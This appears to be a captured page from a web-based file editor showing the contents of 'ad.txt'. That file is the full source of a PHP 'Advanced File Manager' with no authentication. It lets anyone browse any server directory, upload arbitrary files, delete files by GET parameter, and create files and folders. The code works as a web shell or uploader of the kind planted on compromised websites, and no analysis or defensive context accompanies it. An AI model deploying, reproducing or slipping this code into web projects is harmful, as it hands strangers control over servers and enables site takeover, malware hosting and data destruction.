<form method="POST">
    <h3>Editing: ad.txt</h3>
    <textarea name="content" rows="20" cols="80">&lt;!DOCTYPE html&gt;
&lt;html lang=&quot;en&quot;&gt;
&lt;head&gt;
    &lt;meta charset=&quot;UTF-8&quot;&gt;
    &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;
    &lt;title&gt;Advanced File Manager&lt;/title&gt;
    &lt;style&gt;
        body {
            background-color: #1e1e1e;
            color: #fff;
            font-family: Arial, sans-serif;
            text-align: center;
            padding: 30px;
        }
        .container {
            width: 80%;
            margin: 0 auto;
        }
        h2, h3 {
            color: #4CAF50;
        }
        input[type=&quot;file&quot;], input[type=&quot;submit&quot;], input[type=&quot;text&quot;], input[type=&quot;button&quot;] {
            padding: 10px;
            margin: 10px 0;
            color: #fff;
            background-color: #333;
            border: none;
            border-radius: 5px;
        }
        input[type=&quot;file&quot;], input[type=&quot;button&quot;] {
            cursor: pointer;
        }
        form {
            margin-bottom: 20px;
        }
        a {
            color: #4CAF50;
            text-decoration: none;
        }
        a:hover {
            text-decoration: underline;
        }
        table {
            margin: 20px auto;
            border-collapse: collapse;
            width: 100%;
        }
        th, td {
            padding: 15px;
            text-align: left;
            border-bottom: 1px solid #333;
        }
        th {
            background-color: #333;
        }
        td {
            background-color: #2c2c2c;
        }
        .icon {
            display: inline-block;
            margin-right: 10px;
        }
        .folder-icon {
            color: #ffcc00;
        }
        .file-icon {
            color: #4CAF50;
        }
        .action-btn {
            padding: 5px 10px;
            background-color: #f44336;
            color: #fff;
            border: none;
            border-radius: 5px;
            cursor: pointer;
        }
        .action-btn:hover {
            background-color: #d32f2f;
        }
        .breadcrumbs {
            margin-bottom: 20px;
        }
        .breadcrumbs a {
            color: #4CAF50;
            text-decoration: none;
            margin-right: 5px;
        }
        .breadcrumbs a:hover {
            text-decoration: underline;
        }
        .breadcrumbs span {
            margin-right: 5px;
        }
        .manage-section {
            display: flex;
            justify-content: space-between;
            flex-wrap: wrap;
            gap: 15px;
        }
        .manage-section form {
            flex: 1;
            min-width: 200px;
        }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;
    &lt;div class=&quot;container&quot;&gt;
        &lt;h2&gt;Advanced File Manager&lt;/h2&gt;

        &lt;?php
        // Handle the current directory
        $currentDir = isset($_GET['dir']) ? $_GET['dir'] : __DIR__;

        // Create breadcrumbs for the current directory
        $pathParts = explode(DIRECTORY_SEPARATOR, $currentDir);
        $breadcrumbs = [];
        $pathAccumulator = '';

        foreach ($pathParts as $part) {
            if ($part !== '') {
                $pathAccumulator .= DIRECTORY_SEPARATOR . $part;
                $breadcrumbs[] = &quot;&lt;a href=\&quot;?dir=&quot; . urlencode($pathAccumulator) . &quot;\&quot;&gt;$part&lt;/a&gt;&quot;;
            }
        }

        echo &quot;&lt;div class='breadcrumbs'&gt;&lt;strong&gt;Current Directory: &lt;/strong&gt;&quot;;
        echo implode(' / ', $breadcrumbs);
        echo &quot;&lt;/div&gt;&quot;;

        // Handle directory change
        if (isset($_POST['changeDir'])) {
            $newDir = $_POST['newDir'];
            if (is_dir($newDir)) {
                $currentDir = realpath($newDir);
            } else {
                echo &quot;&lt;p&gt;Directory does not exist.&lt;/p&gt;&quot;;
            }
        }

        // Handle file upload
        if ($_SERVER['REQUEST_METHOD'] == 'POST' &amp;&amp; isset($_FILES['file'])) {
            $file = $_FILES['file'];
            if ($file['error'] === UPLOAD_ERR_OK) {
                $fileName = basename($file['name']);
                $fileTmpPath = $file['tmp_name'];
                $dest_path = $currentDir . '/' . $fileName;
                if (move_uploaded_file($fileTmpPath, $dest_path)) {
                    echo &quot;&lt;p&gt;File uploaded successfully to $currentDir.&lt;/p&gt;&quot;;
                } else {
                    echo &quot;&lt;p&gt;Error moving the uploaded file.&lt;/p&gt;&quot;;
                }
            } else {
                echo &quot;&lt;p&gt;Error: No file selected or upload failed.&lt;/p&gt;&quot;;
            }
        }

        // Handle file deletion
        if (isset($_GET['delete'])) {
            $fileToDelete = $_GET['delete'];
            if (is_file($fileToDelete)) {
                unlink($fileToDelete);
                echo &quot;&lt;p&gt;File deleted: $fileToDelete&lt;/p&gt;&quot;;
            }
        }

        // Handle directory creation
        if (isset($_POST['createDir'])) {
            $newDir = $_POST['newDirName'];
            $newDirPath = $currentDir . DIRECTORY_SEPARATOR . $newDir;
            if (!is_dir($newDirPath)) {
                mkdir($newDirPath);
                echo &quot;&lt;p&gt;Directory created: $newDir&lt;/p&gt;&quot;;
            } else {
                echo &quot;&lt;p&gt;Directory already exists.&lt;/p&gt;&quot;;
            }
        }

        // Handle file creation
        if (isset($_POST['createFile'])) {
            $newFile = $_POST['newFileName'];
            $newFilePath = $currentDir . DIRECTORY_SEPARATOR . $newFile;
            if (!file_exists($newFilePath)) {
                file_put_contents($newFilePath, ''); // Create an empty file
                echo &quot;&lt;p&gt;File created: $newFile&lt;/p&gt;&quot;;
            } else {
                echo &quot;&lt;p&gt;File already exists.&lt;/p&gt;&quot;;
            }
        }

        echo &quot;&lt;h3&gt;Current Directory: $currentDir&lt;/h3&gt;&quot;;

        // Display directory management forms
        echo '&lt;div class=&quot;manage-section&quot;&gt;';

        // Change directory form
        echo '&lt;form method=&quot;post&quot;&gt;';
        echo '&lt;input type=&quot;text&quot; name=&quot;newDir&quot; placeholder=&quot;Enter new directory&quot; required&gt;';
        echo '&lt;input type=&quot;submit&quot; name=&quot;changeDir&quot; value=&quot;Change Directory&quot;&gt;';
        echo '&lt;/form&gt;';

        // Create new directory form
        echo '&lt;form method=&quot;post&quot;&gt;';
        echo '&lt;input type=&quot;text&quot; name=&quot;newDirName&quot; placeholder=&quot;New directory name&quot; required&gt;';
        echo '&lt;input type=&quot;submit&quot; name=&quot;createDir&quot; value=&quot;Create Directory&quot;&gt;';
        echo '&lt;/form&gt;';

        // Create new file form
        echo '&lt;form method=&quot;post&quot;&gt;';
        echo '&lt;input type=&quot;text&quot; name=&quot;newFileName&quot; placeholder=&quot;New file name&quot; required&gt;';
        echo '&lt;input type=&quot;submit&quot; name=&quot;createFile&quot; value=&quot;Create File&quot;&gt;';
        echo '&lt;/form&gt;';

        // File upload form
        echo '&lt;form action=&quot;&quot; method=&quot;post&quot; enctype=&quot;multipart/form-data&quot;&gt;';
        echo '&lt;input type=&quot;file&quot; name=&quot;file&quot; required&gt;';
        echo '&lt;input type=&quot;submit&quot; value=&quot;Upload File&quot;&gt;';
        echo '&lt;/form&gt;';

        echo '&lt;/div&gt;';

        echo &quot;&lt;h3&gt;Files and Directories in $currentDir:&lt;/h3&gt;&quot;;

        // List directories first, then files
        $files = scandir($currentDir);
        echo '&lt;table&gt;';
        echo '&lt;tr&gt;&lt;th&gt;File/Directory Name&lt;/th&gt;&lt;th&gt;Action&lt;/th&gt;&lt;/tr&gt;';

        // List directories
        foreach ($files as $file) {
            if ($file !== &quot;.&quot; &amp;&amp; $file !== &quot;..&quot; &amp;&amp; is_dir($currentDir . '/' . $file)) {
                $filePath = $currentDir . '/' . $file;
                echo &quot;&lt;tr&gt;&lt;td&gt;&lt;span class='icon folder-icon'&gt;ðŸ“&lt;/span&gt;&lt;a href=\&quot;?dir=&quot; . urlencode($filePath) . &quot;\&quot;&gt;$file&lt;/a&gt;&lt;/td&gt;&quot;;
                echo &quot;&lt;td&gt;&lt;a href=\&quot;?dir=&quot; . urlencode($currentDir) . &quot;&amp;delete=&quot; . urlencode($filePath) . &quot;\&quot;&gt;&lt;button class='action-btn'&gt;Delete&lt;/button&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&quot;;
            }
        }

        // List files
        foreach ($files as $file) {
            if ($file !== &quot;.&quot; &amp;&amp; $file !== &quot;..&quot; &amp;&amp; is_file($currentDir . '/' . $file)) {
                $filePath = $currentDir . '/' . $file;
                echo &quot;&lt;tr&gt;&lt;td&gt;&lt;span class='icon file-icon'&gt;ðŸ“„&lt;/span&gt;&lt;a href=\&quot;$filePath\&quot; target=\&quot;_blank\&quot;&gt;$file&lt;/a&gt;&lt;/td&gt;&quot;;
                echo &quot;&lt;td&gt;&lt;a href=\&quot;?dir=&quot; . urlencode($currentDir) . &quot;&amp;delete=&quot; . urlencode($filePath) . &quot;\&quot;&gt;&lt;button class='action-btn'&gt;Delete&lt;/button&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&quot;;
            }
        }

        echo '&lt;/table&gt;';
        ?&gt;
    &lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;
</textarea><br>
    <input type="submit" value="Save">
</form>